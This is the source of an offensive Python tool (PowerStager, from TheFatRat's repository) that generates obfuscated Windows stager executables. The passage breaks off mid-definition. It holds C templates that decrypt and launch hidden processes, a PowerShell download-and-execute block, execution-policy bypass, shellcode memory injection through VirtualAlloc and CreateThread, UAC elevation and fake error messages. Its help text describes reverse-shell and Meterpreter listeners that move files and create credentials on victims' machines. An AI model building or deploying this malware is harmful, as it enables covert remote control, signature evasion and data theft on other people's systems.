Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
screetsec
GitHub Repository: screetsec/TheFatRat
Path: blob/master/tools/power.py
495 views
1
#!/usr/bin/env python3
2
import os
3
import sys
4
import getopt
5
import glob
6
import socket
7
import fcntl
8
import errno
9
import string
10
import re
11
import random
12
import base64
13
import time
14
import datetime
15
import urllib.parse
16
import hashlib
17
import readline
18
import signal
19
import names
20
21
#*
22
# TODO ::
23
# Add persistence for reverse-shell
24
#*
25
26
# Help notes and description
27
help_notes = """
28
PowerStager 0.2.5
29
---------------
30
Created by: z0noxz
31
https://github.com/z0noxz/powerstager
32
33
Description:
34
This script creates an executable stager that downloads a selected powershell
35
payload, loads it into memory and executes it using obfuscated EC methods.
36
The script will also bxor the stager for dynamic signatures and some
37
additional obfuscation.
38
39
This enables the actual payload to be executed indirectly without the victim
40
downloading it, only by executing the stager. The attacker can then for
41
example implement evasion techniques on the web server, hosting the payload,
42
instead of in the stager itself.
43
44
Additional methods allows the payload to be embedded into the 'stager' and
45
temporarily stored encrypted on disk for memory injection.
46
47
Not only are powershell powerful when managing Windows, it's also powerful
48
when exploiting Windows. This script exploits multiple Windows features such
49
as its inherit trust of powershell, interpretation of shorthand syntaxes,
50
code evaluation and more...
51
52
Program dependencies:
53
* i686-w64-mingw32-gcc ([_CHECK_i686_])
54
* x86_64-w64-mingw32-gcc ([_CHECK_x86_64_])
55
* i686-w64-mingw32-windres ([_CHECK_i686_WINDRES_])
56
* x86_64-w64-mingw32-windres ([_CHECK_x86_64_WINDRES_])
57
58
Usage: powerstager [options]
59
60
Options:
61
-h, --help Show this help message and exit. (duh)
62
63
Method:
64
\033[3mOne of these options has to be provided to define the method\033[0m
65
-u, --url=URL Payload URL for online staging
66
-p, --path=PATH Payload path for embedded staging
67
-r, --reverse-shell embedded reverse shell (use netcat or --listener)
68
\033[96m--listener will provide more features\033[0m
69
-m, --meterpreter embedded meterpreter staging (reverse_tcp)
70
\033[96m--path and --meterpreter will dump\033[0m
71
\033[96mthe payload to disk temporary\033[0m
72
73
Mandatory:
74
-o, --output=PATH File output for generated executable
75
-t, --target=NAME Platform target win32/win64
76
77
Reverse Shell:
78
\033[3mMandatory options if the reverse-shell method is selected\033[0m
79
--lhost=LHOST Listener host IP address (e.g. 13.37.13.37)
80
--lport=LPORT Listener port (e.g. 4444)
81
82
Meterpreter:
83
\033[3mMandatory options if the meterpreter method is selected\033[0m
84
--lhost=LHOST Listener host IP address (e.g. 13.37.13.37)
85
--lport=LPORT Listener port (e.g. 4444)
86
87
Optional:
88
--listener Automatically starts a listener (reverse-shell)
89
--obfuscation Adds an extra layer of obfuscation
90
--icon Adds an application icon to the executable
91
--source-only Skip compiling and only output c source
92
--fake-error="T::C" Show fake error after execution. Leave blank for default
93
-g, --generate Only outputs the --url ready payload
94
-e, --use-elevation Implementation of privilage elevation (using UAC)
95
\033[96melevation only works with --url\033[0m
96
97
Note:
98
\033[91mAll powershell activity will be logged in Windows event log.\033[0m
99
100
Listener Commands:
101
\033[3mAll listener commands start with 'Local-'. Listener also features autocomplete using <tab>\033[0m
102
\033[3mApart from listener commands exit and clear can also be called\033[0m
103
104
\033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Invoke\033[0m
105
\033[3mInvokes powershell script files from host\033[0m
106
107
\033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Import-Module\033[0m
108
\033[3mImports powershell modules from host\033[0m
109
110
\033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Set-Width\033[0m
111
\033[3mChanges the buffer width on remote client\033[0m
112
113
\033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Upload\033[0m
114
\033[3mUploads files from host\033[0m
115
116
\033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Download\033[0m
117
\033[3mDownloads files from client\033[0m
118
119
\033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Download-Commands\033[0m
120
\033[3mDownloads available powershell commands from client\033[0m
121
122
\033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Enumerate-System\033[0m
123
\033[3mRuns enumeration scripts on client\033[0m
124
125
\033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Check-Status\033[0m
126
\033[3mCollects user and privilage status from client\033[0m
127
128
\033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Spawn-Meterpreter\033[0m
129
\033[3mSpawns meterpreter shells on client\033[0m
130
131
\033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Spawn-Reverse-Shell\033[0m
132
\033[3mSpawns reverse shells on client\033[0m
133
134
\033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Credential-Create\033[0m
135
\033[3mCreates credentials on client\033[0m
136
137
\033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Credential-List\033[0m
138
\033[3mLists created credentials on client\033[0m
139
"""
140
141
windres_manifest_elevation = """
142
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
143
<security>
144
<requestedPrivileges>
145
<requestedExecutionLevel level="requireAdministrator" uiAccess="false"/>
146
</requestedPrivileges>
147
</security>
148
</trustInfo>
149
"""
150
151
windres_manifest = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
152
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
153
<assemblyIdentity version="1.0.0.0" processorArchitecture="[_RC_ARCHITECTURE_]" name="[_RC_APPLICATION_NAME_]" type="win32"/>
154
[_RC_ELEVATION_]
155
</assembly>
156
"""
157
158
windres_resource = """#include <windows.h>
159
[_RC_ICON_]
160
161
1 24 "[_RC_MANIFEST_FILE_]"
162
1 VERSIONINFO
163
FILEVERSION 1,0,0,0
164
PRODUCTVERSION 1,0,0,0
165
BEGIN
166
BLOCK "StringFileInfo"
167
BEGIN
168
BLOCK "040904E4"
169
BEGIN
170
VALUE "CompanyName" , "[_RC_COMPANY_NAME_]"
171
VALUE "FileDescription" , "[_RC_DESCRIPTION_]"
172
VALUE "FileVersion" , "1.0"
173
VALUE "InternalName" , "[_RC_INTERNAL_NAME_]"
174
VALUE "LegalCopyright" , "[_RC_LEGAL_NAME_]"
175
VALUE "OriginalFilename" , "[_RC_OUTPUT_NAME_]"
176
VALUE "ProductName" , "[_RC_APPLICATION_NAME_]"
177
VALUE "ProductVersion" , "1.0"
178
END
179
END
180
BLOCK "VarFileInfo"
181
BEGIN
182
VALUE "Translation", 0x409, 1252
183
END
184
END
185
"""
186
187
class Utility(object):
188
189
# Collision list for dynamic variable creation
190
collision_list = []
191
configuration = {}
192
193
@staticmethod
194
def remove_encapsulating_quotes(text):
195
196
# Primary path strip
197
text = text.strip()
198
199
# Remove unwanted quotes
200
if text.startswith('"') and text.endswith('"'):
201
text = text[1:-1]
202
if text.startswith("'") and text.endswith("'"):
203
text = text[1:-1]
204
205
# Secondary path strip
206
return text.strip()
207
208
209
@staticmethod
210
def get_terminal_width():
211
rows, columns = os.popen("stty size", "r").read().split()
212
return int(columns)
213
214
215
# Powershell ready base64 encoder
216
@staticmethod
217
def ps_base64encode(data):
218
return base64.b64encode(data.encode("UTF-16LE")).decode("utf-8", "ignore")
219
220
221
# Creates dynamic variable names while checking for name collisions
222
@staticmethod
223
def dynamic_variable():
224
225
holder = ""
226
227
while holder == "" or holder in Utility.collision_list or holder[0].isdigit():
228
# holder = "".join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(random.randint(6, 12)))
229
holder = "".join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for x in range(12))
230
231
Utility.collision_list.append(holder)
232
return holder
233
234
235
# Checks if program is installed and executable
236
@staticmethod
237
def which(program):
238
239
def is_exe(fpath):
240
return os.path.isfile(fpath) and os.access(fpath, os.X_OK)
241
242
fpath, fname = os.path.split(program)
243
if fpath:
244
if is_exe(program):
245
return program
246
else:
247
for path in os.environ["PATH"].split(os.pathsep):
248
path = path.strip('"')
249
exe_file = os.path.join(path, program)
250
if is_exe(exe_file):
251
return exe_file
252
253
return None
254
255
256
# Replaces nth occurrence (maybe overkill as the only call is for first occurrence)
257
@staticmethod
258
def replace_nth(subject, source, target, n):
259
indices = [index for index in range(len(subject) - len(source) + 1) if subject[index:index + len(source)] == source]
260
if len(indices) < n:
261
return subject
262
subject = list(subject)
263
subject[indices[n - 1]:indices[n - 1] + len(source)] = target
264
return "".join(subject)
265
266
267
# Integer to binary converter
268
@staticmethod
269
def binary_array_string(n):
270
if (n == 0):
271
yield 0
272
else:
273
while n:
274
yield n & 0xff
275
n = n >> 8
276
277
278
@staticmethod
279
def local_address_to_binary_array_string(lhost, lport):
280
try:
281
lhost = lhost.split(".")
282
lhost = [int(byte) for byte in lhost]
283
lhost = [byte for byte in lhost if byte >= 0 and byte <= 255]
284
lport = int(lport)
285
if len(lhost) == 4 and lport > 0 and lport <= 65535:
286
return (",".join(hex(b) for b in list(Utility.binary_array_string(lport))[::-1]), (",".join(hex(b) for b in (list(Utility.binary_array_string(lhost[0])) + list(Utility.binary_array_string(lhost[1])) + list(Utility.binary_array_string(lhost[2])) + list(Utility.binary_array_string(lhost[3]))))))
287
except:
288
Print.error("There is something wrong with the LHOST and LPORT")
289
sys.exit(2)
290
291
292
@staticmethod
293
def replace_all(string, target, replacement):
294
295
target = list(target)
296
replacement = list(replacement)
297
298
for i in range(len(target)):
299
if (i > (len(replacement) - 1)):
300
break
301
string = string.replace(target[i], replacement[i])
302
303
return string
304
305
@staticmethod
306
def load_configuration(configuration):
307
Utility.configuration = configuration
308
309
310
@staticmethod
311
def get_configuration_value(name):
312
return Utility.configuration[name] if name in Utility.configuration else None
313
314
315
@staticmethod
316
def enum(**enums):
317
return type("Enum", (), enums)
318
319
320
@staticmethod
321
def is_url(url):
322
return bool(urllib.parse.urlparse(url).scheme)
323
324
325
@staticmethod
326
def is_ipv4_address(address):
327
try:
328
socket.inet_pton(socket.AF_INET, address)
329
except AttributeError:
330
try:
331
socket.inet_aton(address)
332
except socket.error:
333
return False
334
return [x for x in address.split(".") if (len(x) > 0 and x.isdigit() and int(x) >= 0 and int(x) <= 255)] == 4
335
except socket.error:
336
return False
337
338
return True
339
340
341
# Class for printing and styling text to terminal
342
class Print(object):
343
344
name_value_list = []
345
346
@staticmethod
347
def text(text="", continuous=False):
348
if continuous:
349
sys.stdout.write(" " + text)
350
sys.stdout.flush()
351
else:
352
print(" " + text)
353
return len(text)
354
355
@staticmethod
356
def info(text="", continuous=False):
357
return Print.text("\033[94m[i]\033[0m " + text, continuous)
358
359
@staticmethod
360
def warning(text="", continuous=False):
361
return Print.text("\033[96m[!]\033[0m " + text, continuous)
362
363
@staticmethod
364
def status(text="", continuous=False):
365
return Print.text("\033[94m[*]\033[0m " + text, continuous)
366
367
@staticmethod
368
def error(text="", continuous=False):
369
return Print.text("\033[91m[-]\033[0m " + text, continuous)
370
371
@staticmethod
372
def success(text="", continuous=False):
373
return Print.text("\033[92m[+]\033[0m " + text, continuous)
374
375
@staticmethod
376
def wipe(count=48, back=False):
377
return (("\b" * count) if back else "") + (" " * count) + ("\b" * count)
378
379
@staticmethod
380
def confirm(text="", yes_is_default=True):
381
while True:
382
try:
383
if yes_is_default:
384
return not (input(" \033[38;5;133m[?] " + text + " (Y/n): \033[0m").strip()).lower() in ["n", "no"]
385
else:
386
return (input(" \033[38;5;133m[?] " + text + " (y/N): \033[0m").strip()).lower() in ["y", "yes"]
387
388
# Catch keyboard interrupt
389
except KeyboardInterrupt:
390
pass
391
392
@staticmethod
393
def size(size):
394
for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]:
395
if abs(size) < 1024.0:
396
return "%3.1f %s" % (size, (unit + "B"))
397
size /= 1024.0
398
return "%.1f%s%s" % (size, "Yi", suffix)
399
400
@staticmethod
401
def ETA(start, part, total):
402
elapsed = (time.time() - start)
403
speed = (part / elapsed)
404
eta = ((total - part) / speed)
405
406
return "ETA: " + str(datetime.timedelta(seconds=int(eta)))
407
408
@staticmethod
409
def add_name_value(name="", value="", func=None):
410
Print.name_value_list.append({"name": name, "value": value, "func": func})
411
412
@staticmethod
413
def name_value_print():
414
for line in Print.name_value_list:
415
(line["func"] if line["func"] is not None else Print.text)(line["name"] + (" " * (len(max(Print.name_value_list, key=lambda x: len(x["name"]))["name"]) - len(line["name"]) + 4)) + ": " + line["value"])
416
Print.name_value_list = []
417
418
419
obfuscation_type = Utility.enum(
420
COMMAND = 1,
421
ARGUMENT = 2,
422
MEMBER = 3,
423
TYPE = 4,
424
)
425
426
427
os_target = Utility.enum(
428
WIN32 = 32,
429
WIN64 = 64,
430
)
431
432
433
conf_name = Utility.enum(
434
URL = "url",
435
PATH = "path",
436
OUTPUT = "output",
437
TARGET = "target",
438
OBFUSCATION = "obfuscation",
439
REVERSE_SHELL = "reverse_shell",
440
METERPRETER = "meterpreter",
441
ICON = "icon",
442
LHOST = "lhost",
443
LPORT = "lport",
444
LISTENER = "listener",
445
GENERATE = "generate",
446
FAKE_ERROR = "fake-error",
447
SOURCE_ONLY = "source-only",
448
ELEVATION = "use-elevation",
449
)
450
451
452
powershell_block = Utility.enum(
453
MAIN = "main",
454
BASE64_DECODER = "base64_decoder",
455
XOR_DECRYPTOR = "xor_decryptor",
456
WEB_CLIENT = "web_client",
457
ENCODED_COMMAND = "encoded_command",
458
MEMORY_INJECTION = "memory_injection",
459
REVERSE_SHELL = "reverse_shell",
460
)
461
462
463
shellcode = Utility.enum(
464
REVERSE_TCP_64 = "reverse_tcp_64",
465
REVERSE_TCP_32 = "reverse_tcp_32",
466
)
467
468
# Placeholder values for powershell blocks with obfuscation techniques
469
obfuscation = {
470
471
"[_OBF_NEW_OBJECT_]" : {
472
"text" : "new-object",
473
"type" : obfuscation_type.COMMAND,
474
},
475
"[_OBF_ADD_TYPE_]" : {
476
"text" : "add-type",
477
"type" : obfuscation_type.COMMAND,
478
},
479
"[_OBF_SLEEP_]" : {
480
"text" : ["start-sleep"], #["sleep", "start-sleep"], ## ERROR, aliases cannot be accessed by name using command invokation in windows server 2012
481
"type" : obfuscation_type.COMMAND,
482
},
483
"[_OBF_GET_ITEM_]" : {
484
"text" : ["get-item"], #["gi", "get-item"], ## ERROR, aliases cannot be accessed by name using command invokation in windows server 2012
485
"type" : obfuscation_type.COMMAND,
486
},
487
"[_OBF_START_]" : {
488
"text" : ["start-process"], #["start", "start-process"], ## ERROR, aliases cannot be accessed by name using command invokation in windows server 2012
489
"type" : obfuscation_type.COMMAND,
490
},
491
"[_OBF_INVOKE_EXPRESSION_]" : {
492
"text" : ["invoke-expression"], #["iex", "invoke-expression"], ## ERROR, aliases cannot be accessed by name using command invokation in windows server 2012
493
"type" : obfuscation_type.COMMAND,
494
},
495
"[_OBF_SV_]" : {
496
"text" : ["set-variable"], #["sv", "set-variable"], ## ERROR, aliases cannot be accessed by name using command invokation in windows server 2012
497
"type" : obfuscation_type.COMMAND,
498
},
499
"[_OBF_GV_]" : {
500
"text" : ["get-variable"], #["gv", "get-variable"], ## ERROR, aliases cannot be accessed by name using command invokation in windows server 2012
501
"type" : obfuscation_type.COMMAND,
502
},
503
"[_OBF_INVOKE_COMMAND_]" : {
504
"text" : "invokecommand",
505
"type" : obfuscation_type.ARGUMENT,
506
},
507
"[_OBF_UNICODE_]" : {
508
"text" : "unicode",
509
"type" : obfuscation_type.ARGUMENT,
510
},
511
"[_OBF_LENGTH_]" : {
512
"text" : "length",
513
"type" : obfuscation_type.ARGUMENT,
514
},
515
"[_OBF_VALUE_]" : {
516
"text" : "value",
517
"type" : obfuscation_type.ARGUMENT,
518
},
519
"[_OBF_WEB_CLIENT_]" : {
520
"text" : "net.webclient",
521
"type" : obfuscation_type.ARGUMENT,
522
},
523
"[_OBF_TEXT_ENCODING_]" : {
524
"text" : "text.encoding",
525
"type" : obfuscation_type.ARGUMENT,
526
},
527
"[_OBF_TEXT_ASCII_]" : {
528
"text" : "text.asciiencoding",
529
"type" : obfuscation_type.ARGUMENT,
530
},
531
"[_OBF_TEXT_UNICODE_]" : {
532
"text" : "text.unicodeencoding",
533
"type" : obfuscation_type.ARGUMENT,
534
},
535
"[_OBF_TCP_CLIENT_]" : {
536
"text" : "net.sockets.tcpclient",
537
"type" : obfuscation_type.ARGUMENT,
538
},
539
"[_OBF_DOWNLOAD_STRING_]" : {
540
"text" : "downloadstring",
541
"type" : obfuscation_type.MEMBER,
542
},
543
"[_OBF_GET_STREAM_]" : {
544
"text" : "getstream",
545
"type" : obfuscation_type.MEMBER,
546
},
547
"[_OBF_TOINT16_]" : {
548
"text" : "toint16",
549
"type" : obfuscation_type.MEMBER,
550
},
551
"[_OBF_INVOKE_SCRIPT_]" : {
552
"text" : "invokescript",
553
"type" : obfuscation_type.MEMBER,
554
},
555
"[_OBF_GET_BYTES_]" : {
556
"text" : "getbytes",
557
"type" : obfuscation_type.MEMBER,
558
},
559
"[_OBF_GET_STRING_]" : {
560
"text" : "getstring",
561
"type" : obfuscation_type.MEMBER,
562
},
563
"[_OBF_GET_ENCODING_]" : {
564
"text" : "getencoding",
565
"type" : obfuscation_type.MEMBER,
566
},
567
"[_OBF_WRITE_]" : {
568
"text" : "write",
569
"type" : obfuscation_type.MEMBER,
570
},
571
"[_OBF_CLEAR_]" : {
572
"text" : "clear",
573
"type" : obfuscation_type.MEMBER,
574
},
575
"[_OBF_FLUSH_]" : {
576
"text" : "flush",
577
"type" : obfuscation_type.MEMBER,
578
},
579
"[_OBF_CLOSE_]" : {
580
"text" : "close",
581
"type" : obfuscation_type.MEMBER,
582
},
583
"[_OBF_TO_STRING_]" : {
584
"text" : "tostring",
585
"type" : obfuscation_type.MEMBER,
586
},
587
"[_OBF_TO_B64_STRING_]" : {
588
"text" : "tobase64string",
589
"type" : obfuscation_type.MEMBER,
590
},
591
"[_OBF_VIRTUAL_ALLOC_]" : {
592
"text" : "virtualalloc",
593
"type" : obfuscation_type.MEMBER,
594
},
595
"[_OBF_MAX_]" : {
596
"text" : "max",
597
"type" : obfuscation_type.MEMBER,
598
},
599
"[_OBF_MEMSET_]" : {
600
"text" : "memset",
601
"type" : obfuscation_type.MEMBER,
602
},
603
"[_OBF_CREATE_THREAD_]" : {
604
"text" : "createthread",
605
"type" : obfuscation_type.MEMBER,
606
},
607
"[_OBF_CHAR_]" : {
608
"text" : "char",
609
"type" : obfuscation_type.TYPE,
610
},
611
"[_OBF_BYTE_]" : {
612
"text" : "byte",
613
"type" : obfuscation_type.TYPE,
614
},
615
"[_OBF_VOID_]" : {
616
"text" : "void",
617
"type" : obfuscation_type.TYPE,
618
},
619
"[_OBF_INTPTR_]" : {
620
"text" : "intptr",
621
"type" : obfuscation_type.TYPE,
622
},
623
"[_OBF_CONVERT_]" : {
624
"text" : "convert",
625
"type" : obfuscation_type.TYPE,
626
},
627
"[_OBF_NONINTERACTIVE_]" : {
628
"text" : [[x[:i] for i in range(4,len(x)+1)] for x in ["noninteractive"]][0],
629
"type" : None,
630
},
631
"[_OBF_NOLOGO_]" : {
632
"text" : [[x[:i] for i in range(3,len(x)+1)] for x in ["nologo"]][0],
633
"type" : None,
634
},
635
"[_OBF_NOPROFILE_]" : {
636
"text" : [[x[:i] for i in range(3,len(x)+1)] for x in ["noprofile"]][0],
637
"type" : None,
638
},
639
"[_OBF_WINDOWSTYLE_]" : {
640
"text" : [[x[:i] for i in range(1,len(x)+1)] for x in ["windowstyle"]][0],
641
"type" : None,
642
},
643
"[_OBF_EXECUTIONPOLICY_]" : {
644
"text" : [[x[:i] for i in range(2,len(x)+1)] for x in ["executionpolicy"]][0],
645
"type" : None,
646
},
647
"[_OBF_ARGUMENTLIST_]" : {
648
"text" : [[x[:i] for i in range(1,len(x)+1)] for x in ["argumentlist"]][0],
649
"type" : None,
650
},
651
"[_OBF_COMMAND_]" : {
652
"text" : [[x[:i] for i in range(1,len(x)+1)] for x in ["command"]][0],
653
"type" : None,
654
},
655
"[_OBF_JOIN_]" : {
656
"text" : "join",
657
"type" : None,
658
},
659
"[_OBF_VERB_]" : {
660
"text" : "verb",
661
"type" : None,
662
},
663
"[_OBF_PASSTHRU_]" : {
664
"text" : "passthru",
665
"type" : None,
666
},
667
"[_OBF_NONEWWINDOW_]" : {
668
"text" : "nonewwindow",
669
"type" : None,
670
},
671
"[_OBF_SPLIT_]" : {
672
"text" : "split",
673
"type" : None,
674
},
675
"[_OBF_BXOR_]" : {
676
"text" : "bxor",
677
"type" : None,
678
},
679
"[_OBF_HIDDEN_]" : {
680
"text" : "hidden",
681
"type" : None,
682
},
683
"[_OBF_RUNAS_]" : {
684
"text" : "runas",
685
"type" : None,
686
},
687
"[_OBF_BYPASS_]" : {
688
"text" : "bypass",
689
"type" : None,
690
},
691
"[_OBF_EXECUTIONCONTEXT_]" : {
692
"text" : "executioncontext",
693
"type" : None,
694
},
695
"[_OBF_AS_]" : {
696
"text" : "as",
697
"type" : None,
698
},
699
"[_OBF_POWERSHELL_]" : {
700
"text" : "powershell",
701
"type" : None,
702
},
703
"[_OBF_CMD_]" : {
704
"text" : "cmd",
705
"type" : None,
706
},
707
}
708
709
c_source_mb = """
710
MessageBox(NULL,\"[_VAL_MB_CONTENT_]\",\"[_VAL_MB_TITLE_]\",MB_ICONERROR|MB_OK);
711
return 1;
712
"""
713
714
# Normal C source for decryption and process execution through system() call
715
c_source = """#include <stdlib.h>
716
#include <windows.h>
717
718
int WINAPI WinMain(
719
HINSTANCE hInstance,
720
HINSTANCE hPrevInstance,
721
LPTSTR lpCmdLine,
722
int cmdShow
723
)
724
{
725
STARTUPINFO [_VAR_SI_];
726
PROCESS_INFORMATION [_VAR_PI_];
727
728
memset(&[_VAR_SI_], 0, sizeof([_VAR_SI_]));
729
[_VAR_SI_].cb = sizeof(STARTUPINFO);
730
[_VAR_SI_].dwFlags = STARTF_USESHOWWINDOW;
731
[_VAR_SI_].wShowWindow = SW_HIDE;
732
733
int [_VAR_X_];
734
char [_VAR_STR_][] = {[_VAL_STR_]};
735
char [_VAR_KEY_][] = {[_VAL_KEY_]};
736
for ([_VAR_X_] = 0; [_VAR_X_] < sizeof([_VAR_STR_]) / sizeof([_VAR_STR_][0]); [_VAR_X_]++)
737
{
738
[_VAR_STR_][[_VAR_X_]] = [_VAR_STR_][[_VAR_X_]] ^ [_VAR_KEY_][[_VAR_X_] % sizeof([_VAR_KEY_])];
739
}
740
741
CreateProcess(
742
NULL,
743
[_VAR_STR_],
744
NULL,
745
NULL,
746
FALSE,
747
CREATE_NO_WINDOW,
748
NULL,
749
NULL,
750
&[_VAR_SI_],
751
&[_VAR_PI_]
752
);
753
754
[_MB_]
755
}
756
"""
757
758
# C source for XOR decryption and process execution of embedded code through system() call
759
c_source_embedded = """#define _CRT_SECURE_NO_DEPRECATE
760
#include <stdio.h>
761
#include <stdlib.h>
762
#include <windows.h>
763
764
int WINAPI WinMain(
765
HINSTANCE hInstance,
766
HINSTANCE hPrevInstance,
767
LPTSTR lpCmdLine,
768
int cmdShow
769
)
770
{
771
STARTUPINFO [_VAR_SI_];
772
PROCESS_INFORMATION [_VAR_PI_];
773
774
memset(&[_VAR_SI_], 0, sizeof([_VAR_SI_]));
775
[_VAR_SI_].cb = sizeof(STARTUPINFO);
776
[_VAR_SI_].dwFlags = STARTF_USESHOWWINDOW;
777
[_VAR_SI_].wShowWindow = SW_HIDE;
778
779
int [_VAR_X_];
780
char [_VAR_PATH_][256];
781
const char* [_VAR_TEMP_] = getenv("TEMP");
782
snprintf([_VAR_PATH_], 255, "%s\\\\[_TMP_FILENAME_]", [_VAR_TEMP_]);
783
784
FILE *[_VAR_FILE_] = fopen([_VAR_PATH_], "wb");
785
if ([_VAR_FILE_] == NULL) { exit(1); }
786
787
char [_VAR_STR_EMB_][] = {[_VAL_STR_EMB_]};
788
char [_VAR_KEY_EMB_][] = {[_VAL_KEY_EMB_]};
789
for ([_VAR_X_] = 0; [_VAR_X_] < sizeof([_VAR_STR_EMB_]) / sizeof([_VAR_STR_EMB_][0]); [_VAR_X_]++)
790
{
791
[_VAR_STR_EMB_][[_VAR_X_]] = [_VAR_STR_EMB_][[_VAR_X_]] ^ [_VAR_KEY_EMB_][[_VAR_X_] % sizeof([_VAR_KEY_EMB_])];
792
}
793
794
fwrite([_VAR_STR_EMB_], 1, sizeof([_VAR_STR_EMB_]), [_VAR_FILE_]);
795
fclose([_VAR_FILE_]);
796
797
char [_VAR_STR_STG_][] = {[_VAL_STR_STG_]};
798
char [_VAR_KEY_STG_][] = {[_VAL_KEY_STG_]};
799
for ([_VAR_X_] = 0; [_VAR_X_] < sizeof([_VAR_STR_STG_]) / sizeof([_VAR_STR_STG_][0]); [_VAR_X_]++)
800
{
801
[_VAR_STR_STG_][[_VAR_X_]] = [_VAR_STR_STG_][[_VAR_X_]] ^ [_VAR_KEY_STG_][[_VAR_X_] % sizeof([_VAR_KEY_STG_])];
802
}
803
804
CreateProcess(
805
NULL,
806
[_VAR_STR_STG_],
807
NULL,
808
NULL,
809
FALSE,
810
CREATE_NO_WINDOW,
811
NULL,
812
NULL,
813
&[_VAR_SI_],
814
&[_VAR_PI_]
815
);
816
817
[_MB_]
818
}
819
"""
820
821
# Fairly obfuscated building blocks for powershell commands
822
powershell_blocks = {
823
824
# Main
825
powershell_block.MAIN
826
: "[_OBF_POWERSHELL_] -[_OBF_WINDOWSTYLE_] [_OBF_HIDDEN_] -[_OBF_COMMAND_] \"[_PS_LOAD_]\"",
827
828
# Base64 decoder
829
powershell_block.BASE64_DECODER
830
: "([[_OBF_CONVERT_]]::[_OBF_TO_B64_STRING_]([Text.Encoding]::[_OBF_UNICODE_].[_OBF_GET_BYTES_]([_PS_LOAD_])))",
831
832
# XOR decryptor
833
powershell_block.XOR_DECRYPTOR
834
: "([[_OBF_CHAR_][]](([[_OBF_CHAR_][]][_PS_LOAD_])|%{$[_PS_XOR_I_]=0}{$_-[_OBF_BXOR_]'[_PS_XOR_KEY_]'[$[_PS_XOR_I_]++%[_PS_XOR_KEY_SIZE_]]})-[_OBF_JOIN_]'')",
835
836
# System.Net.WebClient
837
powershell_block.WEB_CLIENT
838
: "([_OBF_NEW_OBJECT_] [_OBF_WEB_CLIENT_]).[_OBF_DOWNLOAD_STRING_]([_URL_])",
839
840
# Encoded command
841
powershell_block.ENCODED_COMMAND
842
: "[_OBF_SV_] [_PS_VAR_1_] [_PS_VAR_C45_A_];[_OBF_SV_] [_PS_VAR_2_] [_PS_VAR_C101_A_];[_OBF_SV_] [_PS_VAR_3_] [_PS_VAR_C99_A_];[_OBF_SV_] [_PS_VAR_4_](((([_OBF_GV_] [_PS_VAR_1_]).[_OBF_VALUE_]+[_PS_VAR_C45_B_])-[_OBF_AS_][[_OBF_CHAR_]]).[_OBF_TO_STRING_]()+((([_OBF_GV_] [_PS_VAR_2_]).[_OBF_VALUE_]+[_PS_VAR_C101_B_])-[_OBF_AS_][[_OBF_CHAR_]]).[_OBF_TO_STRING_]()+((([_OBF_GV_] [_PS_VAR_3_]).[_OBF_VALUE_]+[_PS_VAR_C99_B_])-[_OBF_AS_][[_OBF_CHAR_]]).[_OBF_TO_STRING_]());[_OBF_POWERSHELL_] -[_OBF_NONINTERACTIVE_] -[_OBF_NOLOGO_] -[_OBF_NOPROFILE_] -[_OBF_WINDOWSTYLE_] [_OBF_HIDDEN_] -[_OBF_EXECUTIONPOLICY_] [_OBF_BYPASS_] ([_OBF_GV_] [_PS_VAR_4_]).[_OBF_VALUE_].[_OBF_TO_STRING_]()[_PS_LOAD_]",
843
844
# Memory injection
845
powershell_block.MEMORY_INJECTION
846
: "$[_PS_WF_]=[_OBF_ADD_TYPE_] -m '[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(\"msvcrt.dll\")] public static extern IntPtr memset(IntPtr dest, uint src, uint count);' -name 'Win32' -ns Win32Functions -pas;[[_OBF_BYTE_][]]$[_PS_VAR_PAYLOAD_]=[_PS_PAYLOAD_];$[_PS_VAR_X_]=$[_PS_WF_]::[_OBF_VIRTUAL_ALLOC_](0,[Math]::[_OBF_MAX_]($[_PS_VAR_PAYLOAD_].[_OBF_LENGTH_],0x1000),0x3000,0x40);for($[_PS_VAR_I_]=0;$[_PS_VAR_I_] -le ($[_PS_VAR_PAYLOAD_].[_OBF_LENGTH_]-1);$[_PS_VAR_I_]++){[[_OBF_VOID_]]$[_PS_WF_]::[_OBF_MEMSET_]([[_OBF_INTPTR_]]($[_PS_VAR_X_].ToInt[_PS_ARCHITECTURE_]()+$[_PS_VAR_I_]),$[_PS_VAR_PAYLOAD_][$[_PS_VAR_I_]],1)};$[_PS_WF_]::[_OBF_CREATE_THREAD_](0,0,$[_PS_VAR_X_],0,0,0);[_OBF_SLEEP_] 100000",
847
848
# Reverse powershell
849
powershell_block.REVERSE_SHELL
850
